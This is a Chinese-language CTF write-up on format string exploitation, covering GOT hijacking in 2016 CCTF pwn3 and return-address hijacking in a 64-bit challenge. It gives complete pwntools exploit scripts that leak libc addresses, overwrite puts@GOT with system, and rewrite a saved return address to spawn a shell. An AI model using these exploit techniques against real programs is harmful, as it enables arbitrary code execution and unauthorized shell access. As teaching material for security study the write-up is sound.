格式化字符串漏習題
got劫持
原理
在目前的 C 程序中,libc 中的函數都是通過 GOT 表來跳轉的。在沒有開啟 RELRO 保護的前提下,每個 libc 的函數對應的 GOT 表項是可以被修改的。因此,我們可以修改某個 libc 函數的 GOT 表內容為另一個 libc 函數的地址來實現對程序的控制。比如說我們可以修改 printf 的 got 表項內容為 system 函數的地址。從而,程序在執行 printf 的時候實際執行的是 system 函數。
舉一個例子
#include <stdio.h>
#include <stdlib.h>
void win()
{
puts("you win");
}
void main()
{
unsigned int addr, value;
scanf("%x=%x",&addr, &value);
*(unsigned int *)addr = value;
printf("set %x=%x",addr,value);
}
這里允許修改任意地址4字節,那么如何執行win函數呢?在修改數據之后調用了printf函數,可以考慮修改printf()的got表項將其劫持到win函數。
例題
2016 CCTF 中的 pwn3
鏈接: https://pan.baidu.com/s/1VQryC4BZrB6dMoEXfyIhOw 密碼: e2b4

IDA下F5看看,



有個驗證判斷,ASCII加1即可
逆向一波即可通過進入循環
在后面的getfile()中存在格式化字符串漏洞
exp
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
sh = process("./pwn3")
pwn3 = ELF("./pwn3")
def pass_judge():
tmp = "sysbdmin"
name = ""
for i in tmp:
name += chr(ord(i) - 1)
sh.recvuntil('Name (ftp.hacker.server:Rainism):')
sh.sendline(name)
def put_file(name, content):
sh.sendline('put')
sh.recvuntil('upload:')
sh.sendline(name)
sh.recvuntil('content:')
sh.sendline(content)
def get_file(name):
sh.sendline('get')
sh.recvuntil('get:')
sh.sendline(name)
#gdb.attach(sh)
return sh.recv()
pass_judge()
log.success('go in to')
# get addr of puts
puts_got = pwn3.got["puts"]
log.success('puts got ' + hex(puts_got))
put_file(b'AAAA',b"%8$s" + p32(puts_got))
puts_addr = u32(get_file('AAAA')[:4])
log.success('puts addr ' + hex(puts_addr))
# get system addr
libc = LibcSearcher("puts",puts_addr)
system_offset = libc.dump('system')
puts_offset = libc.dump('puts')
log.success('puts offets ' + hex(puts_offset))
system_addr = puts_addr - puts_offset + system_offset
log.success('system addr : ' + hex(system_addr))
payload = fmtstr_payload(7, {puts_got: system_addr})
put_file('/bin/sh;', payload)
#sh.recvuntil('ftp>')
sh.sendline('get')
sh.recvuntil('get:')
##gdb.attach(sh)
sh.sendline('/bin/sh;')
sh.sendline('dir')
sh.interactive()
核心思路是劫持GOT表,利用格式化字符串漏洞把puts地址改寫成system地址。
以下摘自CTF-wiki pwn
這里我利用了 pwntools 中的 fmtstr_payload 函數,比較方便獲取我們希望得到的結果,有興趣的可以查看官方文檔嘗試。比如這里 fmtstr_payload(7, {puts_got: system_addr}) 的意思就是,我的格式化字符串的偏移是 7,我希望在 puts_got 地址處寫入 system_addr 地址。默認情況下是按照字節來寫的。
hijack ret
與前面的題一樣,這里是利用格式化字符串漏洞劫持了返回地址
例題
鏈接: https://pan.baidu.com/s/1pANMgHf7pnKvZCllwWSWuA 密碼: pkio

64位程序,開啟了Full RELRO保護,因此不能劫持GOT表了。
跑了一下程序發現是一個類似注冊賬戶修改信息的。
IDA下找了找,在這發現了格式化字符串漏洞

&a9+4我們在輸入密碼的這里也看到了

還可以發現username和password之間距離為20個字節,在分析的時候我們還發現了這樣一個函數

竟然直接調用system了,原來就是你把shell帶到這邊來的。到這里其實分析的差不多了
利用思路
很顯然,我們可以修改某個函數的返回地址為調用system的地址,這樣直接就能拿shell。
通過相對偏移來ret2addr。整個流程如下
- 確定偏移
- 獲取函數的 rbp 與返回地址
- 根據相對偏移獲取存儲返回地址的地址
- 將執行 system 函數調用的地址寫入到存儲返回地址的地址。
首先來確定一下偏移

我們在第二個print處下斷點,輸入數據后查看偏移

在棧的第二個位置處是0x400d74保存的是原來的額rip。
值得一提的是,我們不能忽略這是64位的程序,所以有一些參數是通過寄存器傳遞的。
直接用pwngdb的fmtarg查看偏移,d0偏移是8的話那rbp就是6。
一個是name的一個是password的。
接下來算下基于棧的rip偏移是多少因為存儲的返回地址本身是動態變化的,但是其相對于rbp的地址并不會改變。


到這里其實解題方法已經很明顯了,首先通過格式化字符串獲取棧基址,接著通過偏移得到rip的地址,那么通過格式化字符串的任意地址寫就可以替換成system了。
exp
from pwn import *
sh = process('./pwnme_k0')
sh.recv()
sh.sendline('A'*8)
sh.recv()
sh.sendline("%6$p")
sh.recvuntil('>')
sh.sendline('1')
addr = ( sh.recvuntil('>').decode('utf-8') ).split('\n')[1]
leak_addr = int(addr,16) - 0x38
# write addr to rip
sh.sendline('2')
sh.recv()
sh.sendline('1'*8)
sh.recv()
sh.sendline(p64(leak_addr))
sh.recv()
sh.sendline("%2218d%8$hn")
sh.recv()
sh.sendline('1')
sh.recv()
sh.interactive()
參考